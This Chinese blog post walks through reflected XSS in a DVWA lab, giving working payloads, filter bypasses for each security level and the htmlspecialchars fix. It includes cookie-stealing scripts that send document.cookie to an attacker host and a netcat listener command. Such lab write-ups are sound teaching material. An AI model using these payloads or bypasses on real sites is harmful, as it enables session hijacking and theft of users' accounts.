Kali渗透测试之DVWA系列4——反射型XSS(跨站脚本攻击)
日期: 2019-05-11 分类: 个人收藏 355次阅读
目录
一、XSS
1、XSS简介
XSS,跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的。
2、XSS类型
- 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。
- 存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
- DOM型XSS:文本对象模式XSS,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
3、漏洞形成的根源
- 服务器对用户提交的数据过滤不严;
- 提交给服务器端的脚本被直接返回给其他客户端执行;
- 脚本在客户端执行恶意操作;
二、反射型XSS
1、原理示意图
获取cookie
- 黑客首先向服务器发送js脚本
- 服务器将含有js脚本的页面发给黑客
- 黑客将js脚本的页面的url发送给被攻击方
- 黑客获取被攻击方的cookie
重定向
- 黑客首先向服务器发送js脚本
- 服务器将含有js脚本的页面发给黑客
- 黑客将js脚本的页面的url发送给被攻击方
- 被攻击方点击url重定向到第三方网站
2、实验环境
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.247.129),启动phpStudy。
3、实验步骤
安全级别:LOW
查看源码
源码分析
从源码中可以看到,直接引用来 name参数,并没有对输入的参数做任何过滤;例如:输入a,则返回含有 ' Hello a ' 的js页面。
1、直接嵌入html:<script>alert(‘xss’)</script>,弹出弹框xss。
使用Burpsuite抓包查看,返回的页面信息为含有输入信息的js页面;
2、元素标签事件<body οnlοad=alert(‘xss’)>,弹出弹框xss。
3、<a href=http://192.168.247.129>登录</a>
4、<img src=http://192.168.247.129/a.jpg οnerrοr=alert('xss1')>;如果在服务器192.168.247.129上找不到图片a.jpg,则弹出弹框xss1。
5、<a href=’’ οnclick=alert(‘xss2’)>点击</a>;点击 ' 点击 ' 超链接,弹出弹框xss2。
注:href后是两个单引号,onclick前有一个空格。
重定向
6、<script>window.location="http://www.baidu.com"</script>;提交后,重定向到百度。
7、<script>window.location=”http://192.168.247.129”</script>;提交后,重定向到192.168.247.129的网站页面。
8、<iframe src='http://192.168.247.129/a.jpg' height='0' width='0'></iframe>;提交后,访问http://192.168.247.129/a.jpg
获取cookie
9、<script>new Image().src="http://192.168.247.157/c.php?output="+document.cookie;</script> #提交之前,在Kali(IP为192.168.247.157)上监听80端口,获取cookie值。
10、<script>alert(document.cookie)</script> #直接弹出一个弹窗,显示cookie值
11、<script src='http://192.168.247.157/a.js'></script> #使用js脚本获取cookie值
步骤:
- 在Kali的 /var/www/html 目录下制作一个js脚本
- 在Kali的 /var/www/html 目录下开启 Apache服务(/etc/init.d/apache2 start)(截图上忘记放这一步了)
- 监听指定的端口88(nc -vnlp 88)
- 访问ip/js脚本
- 获取到js脚本实现的结果
安全级别:Medium
查看源码
源码分析
这里是基于黑名单的思想,使用str_replace函数将输入中的<script>替换成空,把script脚本当做字符串来处理。
12、<script>alert('XSS')</script>;提交后,会将<script>替换成”,即把script脚本当做字符串来处理。
解决方法:
1、<Script>alert(‘xss’)</script> #将<script>可以写成<Script>,大小写混淆绕过
2、<scr<script>ipt>alert('XSS1')</script> #嵌入绕过,可以将script嵌入到<script>中,例如<scr<script>ipt>
安全级别:High
查看源码
源码分析:
代码使用preg_replace() 函数用于正则表达式的搜索和替换,将script前后相关的内容都替换为空,使得双写绕过、大小写混淆绕过不再有效;(正则表达式中i表示不区分大小写)
虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签事件或者iframe等标签的src注入恶意的js代码。
解决方法
对于安全级别为High,只是添加了对script的限制,但并未限制其他的方式。例如:
1、<body οnlοad=alert('XSS2')>
2、<a href=http://192.168.247.129>登录</a>
安全级别:Impossible
查看源码
源码分析:
当安全级别为impossible,使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;
预定义的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
除特别声明,本站所有文章均为原创,如需转载请以超级链接形式注明出处:SmartCat's Blog
标签:Kali渗透测试 XSS
精华推荐